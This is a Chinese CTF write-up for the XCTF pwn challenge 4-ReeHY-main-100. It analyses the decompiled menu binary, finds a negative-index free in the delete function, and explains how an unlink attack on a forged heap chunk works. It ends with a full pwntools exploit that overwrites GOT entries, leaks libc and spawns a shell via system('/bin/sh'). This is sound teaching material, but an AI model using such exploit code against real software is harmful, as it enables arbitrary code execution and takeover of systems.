XCTF:4-ReeHY-main-100
这道题用来巩固一下之前学的unlink的利用方法
保护检查:
checksec一下:
只开了NX,RELRO和PIE都没有开启,所以可以利用静态调试找出的地址来操作,并且可以使用GOT表覆盖这个技巧
程序分析:
main函数:
代码如下:
void __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_400856(a1, a2, a3);
while ( 1 )
{
sub_400943();
switch ( (unsigned int)sub_400C55() )
{
case 1u:
sub_4009D1();
break;
case 2u:
sub_400B21();
break;
case 3u:
sub_400BA1();
break;
case 4u:
sub_400C42();
break;
case 5u:
puts("bye~bye~ young hacker");
exit(0);
default:
puts("Invalid Choice!");
break;
}
}
}
可以看见这是一个经典的switch选择结构体,应该是一道菜单题,我们进入每一个函数去看一下
sub_4009D1():
代码如下:
int sub_4009D1()
{
int result; // eax
char buf[128]; // [rsp+0h] [rbp-90h] BYREF
void *dest; // [rsp+80h] [rbp-10h]
int v3; // [rsp+88h] [rbp-8h]
size_t nbytes; // [rsp+8Ch] [rbp-4h]
result = dword_6020AC;
if ( dword_6020AC <= 4 )
{
puts("Input size");
result = sub_400C55();
LODWORD(nbytes) = result;
if ( result <= 4096 )
{
puts("Input cun");
result = sub_400C55();
v3 = result;
if ( result <= 4 )
{
dest = malloc((int)nbytes);
puts("Input content");
if ( (int)nbytes > 112 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, buf, (unsigned int)nbytes);
memcpy(dest, buf, (int)nbytes);
}
*(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
*((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
dword_6020E8[4 * v3] = 1;
++dword_6020AC;
result = fflush(stdout);
}
}
}
return result;
}
这个函数对应的是create功能,它需要我们输入三个数据:size,cun,content。
这三个数据分别对应:内容大小,堆块编号,内容
根据程序我们可以看出来,用户输入的size大小被储存在nbytes这个变量之中,而且程序中有一个堆块是用来储存这个size大小的,也就是:
*(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
在0x6020C0这个位置上有一个堆块是用来储存这个size大小的
而程序为content申请的chunk的指针则储存在dest这个变量中,而0x6020E0这个位置的堆块则是用来储存这个的dest的,也就是:
*((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
sub_400B21():
代码如下:
__int64 sub_400B21()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]
puts("Chose one to dele");
result = sub_400C55();
v1 = result;
if ( (int)result <= 4 )
{
free(*((void **)&unk_6020E0 + 2 * (int)result));
dword_6020E8[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)--dword_6020AC;
}
return result;
}
这个函数则对应delete功能,而这个函数功能中就有一个漏洞:由于没有检查输入数据的正负是否合法造成的漏洞
通俗的讲,就是在这里选择需要删除的堆块编号时我们是可以输入负数的,而后面:
free(*((void **)&unk_6020E0 + 2 * (int)result));
这段代码说明了函数寻找需要free的堆块的方式是通过基址加上偏移量来寻找地址的,那么当我们输入一个负数时,程序计算地址时就是基址减去一个偏移量,所以当我们输入-2时,程序就会free掉0x6020E0 - 2*offest(8位数据) = 0x6020C0
这样我们就可以将0x6020C0这个位置上的堆块释放掉,由于他的大小为0x14,会被归于fastbins中,所以我们我们只要在释放这个堆块后再次create一个差不多大小的堆块可以控制这个堆块中的内容了,这样我们就可以控制我们先前申请的堆块大小从而实现堆溢出。
sub_400BA1():
代码如下:
int sub_400BA1()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
puts("Chose one to edit");
result = sub_400C55();
v1 = result;
if ( result <= 4 )
{
result = dword_6020E8[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&unk_6020E0 + 2 * v1), *(unsigned int *)(4LL * v1 + qword_6020C0));
result = puts("Edit success!");
}
}
return result;
}
这个函数就对应了edit功能,但是这里检查了输入的合法性(不然这题就太简单了对吧)
修改时的寻址方式也是根据基址和偏移量来寻找地址的
sub_400C42():
代码如下:
int sub_400C42()
{
return puts("No~No~No~");
}
这里就可以发现这个程序是没有显示堆块内容的功能,应该就是为了加大难度。。。
内存分布分析:
在开始实际做题之前先用gdb调试一下程序中的内存大概是如何分布的:
首先我们随便创建两个chunk:
然后挂起程序看一下堆块的情况:
这里就可以看见我们创建的两个chunk,然后看一下这两个地址中的内容:
可以很清楚的看见两个挨在一起的chunk,大小都是0x31,然后我们看一下存放内容指针的堆块,也就是前面提到的:0x6020E0:
这里要注意在每个存放了指针的地址低位上是有一个1来说明这个堆块是前面合法分配的,在后面构造payload时要注意加上这个1
思路整理:
1.首先我们创建两个chunk(注意大小要稍微大一点,防止它在被释放后进入fastbins)
2.通过前面提到的delete函数内存在的漏洞修改0x6020c0里关于chunk 大小的内容实现chunk大小的扩展,达到堆溢出的效果
3.在我们扩展了size的第一个chunk内伪造一个fake_chunk,并溢出到chunk2 的header部分修改pre_size为来绕过unlink检查
4.通过unlink修改存放content指针的chunk内指针的指向,将其导向我们需要使用的函数
5.泄露函数实际地址,找到libc基址等其他常规操作
fake_chunk的设计:
这道题的fake_chunk还是以前那个经典的模式:
pre_size:这里跟fake_chunk 前面的chunk没有什么关系,所以可以直接置为0
size:这里要保证与后面的chunk2的pre_size保持一致
fd,bk:
由于我们的目标是存放content的那个chunk(0x6020e0),所以这里我们再看一下内存中的情况:
由于unlink修改指针的机制:
首先:first_chunk -> bk = third_chunk_addr,然后:third_chunk -> fd = first_chunk_addr
所以这里我们选择0x6020c8作为first_chunk 0x6020d0作为third_chunk
在触发unlink机制后在同一个位置上发生了两次覆盖,最后是0x6020c8
修改以后我们使用edit功能就可以修改0x6020c8上的内容了
所以这里我们fake_chunk 中的fd 和 bk指针就是:0x6020c8 和 0x6020d0
EXP:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#io = process("./4-ReeHY-main")
io = remote("111.200.241.244", 54314)
elf = ELF("./4-ReeHY-main")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./ctflibc.so.6")
array = 0x6020e0
def create(size,cun,content):
io.recvuntil("$ ")
io.sendline(b'1')
io.recvuntil("Input size\n")
io.sendline(bytes(str(size),encoding='utf-8'))
io.recvuntil("Input cun\n")
io.sendline(bytes(str(cun), encoding='utf-8'))
io.recvuntil("Input content\n")
io.send(content)
def edit(cun,content):
io.recvuntil("$ ")
io.sendline(b'3')
io.recvuntil("Chose one to edit\n")
io.sendline(bytes(str(cun), encoding='utf-8'))
io.recvuntil("Input the content\n")
io.send(content)
def delete(cun):
io.recvuntil("$ ")
io.sendline(b'2')
io.recvuntil("Chose one to dele\n")
io.sendline(bytes(str(cun), encoding='utf-8'))
io.recvuntil("Input your name: \n")
io.sendline(b'yms')
create(0x100,0,b'a'*0x100)
create(0x100,1,b'b'*0x100)
delete(-2)
payload1 = p64(0x200) + p64(0x100) #注意这里再修改大小时chunk1的大小要能覆盖到chunk2
create(0x10,2,payload1)
payload2 = p64(0) + p64(0x101) + p64(array - 0x18) + p64(array - 0x10)
payload2 = payload2.ljust(0x100, b'a')
payload2 += p64(0x100) + p64(0x110)
edit(0,payload2)
delete(1)
payload3 = p64(0)*3 + p64(elf.got['free']) + p64(1) + p64(elf.got['puts']) + p64(1) + p64(elf.got['atoi']) + p64(1)
edit(0,payload3)
payload4 = p64(elf.plt['puts'])
edit(0,payload4)
delete(1)
put_addr = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(put_addr))
libc = LibcSearcher('puts', put_addr)
base = put_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
#sh_addr = base + libc.search(b'/bin/sh').__next()__
payload5 = p64(sys_addr)
edit(2,payload5)
io.recvuntil("$ ")
io.sendline(b'/bin/sh')
io.interactive()
tips:
1.在编辑create和edit功能时的对于content部分的发送一定要记住是用的send而不是sendline 后者多的那一个\n会造成无法打通的后果
2.这题远端上只有好像只有一个假的flag,没有找到正确的flag,等一个大师傅来告诉我正确flag怎么找。。。